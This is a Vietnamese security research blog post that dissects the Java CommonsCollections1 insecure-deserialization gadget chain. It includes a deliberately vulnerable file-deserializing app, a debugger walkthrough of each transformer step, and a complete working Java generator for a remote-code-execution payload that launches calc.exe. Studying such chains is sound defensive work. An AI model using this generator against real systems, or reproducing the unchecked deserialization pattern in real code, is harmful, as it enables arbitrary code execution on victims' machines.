# Đi sâu vào gadgetchain trong insecure deserialization 😏
<style>body {text-align: justify}</style>
Dưới đây là bài blog phân tích lại gadgetchain CommonsCollections1.
### 1. Dựng môi trường test
**Môi trường:**
- JDK 1.7.0_80
- Commons Collections version 3.1
**Mã nguồn:** Đây chỉ đơn giản là 1 console app thực hiện đọc và deserialize data từ input file.
```java
package org.example;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Scanner;
public class Main {
public Main() {
}
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.print("Enter the name of the file to deserialize: ");
String filename = scanner.nextLine();
try {
FileInputStream fileIn = new FileInputStream(filename);
ObjectInputStream in = new ObjectInputStream(fileIn);
Object obj = in.readObject();
in.close();
fileIn.close();
System.out.println("Deserialized object: " + obj.toString());
} catch (ClassNotFoundException | IOException var6) {
var6.printStackTrace();
}
}
}
```
**References:**
- https://thegreycorner.com/2016/05/01/commoncollections-deserialization.html
- https://tsublogs.wordpress.com/2023/02/16/javasecurity101-2-java-deserialization-overview/
- https://nhienit.wordpress.com/2021/11/25/commonscollection-gadget-chain-for-learning-purposes/
- https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2/
- https://speakerdeck.com/greendog/deserialization-vulnerabilities?slide=3
- **Reflection API**: https://www.oracle.com/technical-resources/articles/java/javareflection.html
- **Dynamic Proxy**: https://www.baeldung.com/java-dynamic-proxies
### 2. Reproduce và debug
**Reproduce:**
- Tạo CC1 payload bằng ysoserial và lưu vào file `ysoserial_cc1.bin`.

- Thực thi chương trình và truyền đường dẫn file `ysoserial_cc1.bin` vào input để thực hiện deserialize.

→ Tiến trình `calc.exe` được khởi chạy thành công.
**Debug**
Dựa vào gadgetchain CC1 do ysoserial cung cấp, ta có thể khái quát gadgetchain như sau:
```java
ObjectInputStream.readObject()
> AnnotationInvocationHandler.readObject()
>> Map(Proxy).entrySet()
>>> AnnotationInvocationHandler.invoke()
>>>> LazyMap.get()
>>>>> ChainedTransformer.transform()
>>>>>> ConstantTransformer.transform()
>>>>>> InvokerTransformer.transform()
Runtime.getRuntime()
>>>>>> InvokerTransformer.transform()
Runtime@
>>>>>> InvokerTransformer.transform()
Runtime.exec("calc.exe")
```
Để dễ debug, mình đặt breakpoint tại hàm `Runtime.exec()` vì gadgetchain sẽ gọi `calc.exe` bằng hàm đó.

Thực thi chương trình và truyền đường dẫn file `ysoserial_cc1.bin` vào input, ta bắt đầu debug.
Đầu tiên, `ObjectInputStream.readObject()` được gọi để bắt đầu deserialize.

Khi đó, hàm `ObjectInputStream.readObject0()` và chỉ tới hàm `ObjectInputStream.readOrdinaryObject()`.

Tiếp tục, `ObjectInputStream.readSerialData(obj, desc)` được thực thi, trong đó `obj` chính là `AnnotationInvocationHandler`.

Lúc này, thông qua hàm `invokeReadObject` với `obj` là `AnnotationInvocationHandler` và `this` chính là `ObjectInputStream` (serialized payload),

hàm `AnnotationInvocationHandler.readObject()` được gọi.

Tiếp tục F7 vào, lúc này this.memberValues là 1 `$Proxy0` instance, trực tiếp gọi đến hàm `entrySet()`. Hay nói cách khác, `Map(Proxy).entrySet()`.

Lúc này, hàm `invoke()` của `AnnotationInvocationHandler` được gọi do tính chất của lớp dynamic proxy trên. Có thể thấy, lúc này this.memberValues đã là 1 LazyMap instance → `LazyMap.get()` được gọi.

Tại bước `LazyMap.get()` này, dễ dàng pass được điều kiện `super.map.containsKey(key)` vì chỉ cần key không phải là giá trị null là được. Tiếp theo, ta thấy `this.factory` là một object của ChainedTransformer nên `ChainedTransformer.transform()` được gọi.

Tại đây, 1 vòng lặp transform gồm 5 lần lặp đối với biến `object` được thực thi.

- **Vòng lặp 1:** `ConstantTransformer.transform()` chỉ đơn giản trả về 1 class `java.lang.Runtime` và gán vào biến `object` (trong vòng lặp).

- **Vòng lặp 2:** `InvokerTransformer.transform()`
Lúc này `input` đang là 1 class `java.lang.Runtime`
→ `cls` là 1 class `java.lang.Class`
→ `method` là 1 method `getMethod(String, Class[])`
→ `method.invoke(input, this.iArgs)` có nghĩa là class `java.lang.Runtime` sẽ `getMethod("getRuntime",Class[])`, hay nói cách khác nó sẽ trả về method `java.lang.Runtime.getRuntime()` và gán vào biến `object` của vòng lặp.

- **Vòng lặp 3:** `InvokerTransformer.transform()`
Lúc này input đang là 1 method `java.lang.Runtime.getRuntime()`
→ `cls` là 1 class `java.lang.reflect.Method`
→ `method` là 1 method `invoke(Object, Object)`
→ `method.invoke(input, this.iArgs)` có nghĩa là `java.lang.Runtime.getRuntime()` được invoke, hay nói cách khác nó sẽ trả về object `Runtime` và gán vào biến `object` của vòng lặp.

- **Vòng lặp 4:** `InvokerTransformer.transform()`
Lúc này input đang là 1 object `Runtime`
→ `cls` là 1 class `java.lang.Runtime`
→ `method` là 1 method `Runtime.exec(String)`
→ `method.invoke(input, this.iArgs)` có nghĩa là object `Runtime` thực thi hàm `Runtime.exec("calc.exe")` do `this.iArgs` có 1 element là string `calc.exe`.

Đến vòng lặp thứ 5, tiến trình `calc.exe` đã được thực thi và ta đã RCE thành công.

Kết lại, cái hay của gadgetchain này nằm ở chỗ sử dụng `(Map)Proxy.entrySet()` để invoke `LazyMap.get()`.
#### 3. Viết mã khai thác
Mã khai thác sau sẽ tạo payload CC1 và ghi nó vô file.
```java
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
// Command
String[] execArgs = {"calc.exe"};
// Create a ChainTransformer to invoke that command.
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// Create a LazyMap
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
// Init a `sun.reflect.annotation.AnnotationInvocationHandler` object
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
final Constructor<?> constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler lazyMapInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map evilProxy = (Map) Proxy.newProxyInstance(CommonsCollections1.class.getClassLoader(), new Class[]{Map.class}, lazyMapInvocationHandler);
InvocationHandler serializedProxyInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
serialize(serializedProxyInvocationHandler);
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOut = new FileOutputStream("payload_cc1.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(object);
out.close();
fileOut.close();
}
}
```
Thực thi mã khai thác để có payload ở file `payload_cc1.bin`.
Chạy chương trình chính, truyền `payload_cc1.bin` làm input và ta trigger được `calc.exe` thành công.

###### tags: `research`, `insecure-deserialization`, `java`, `commonscollections1`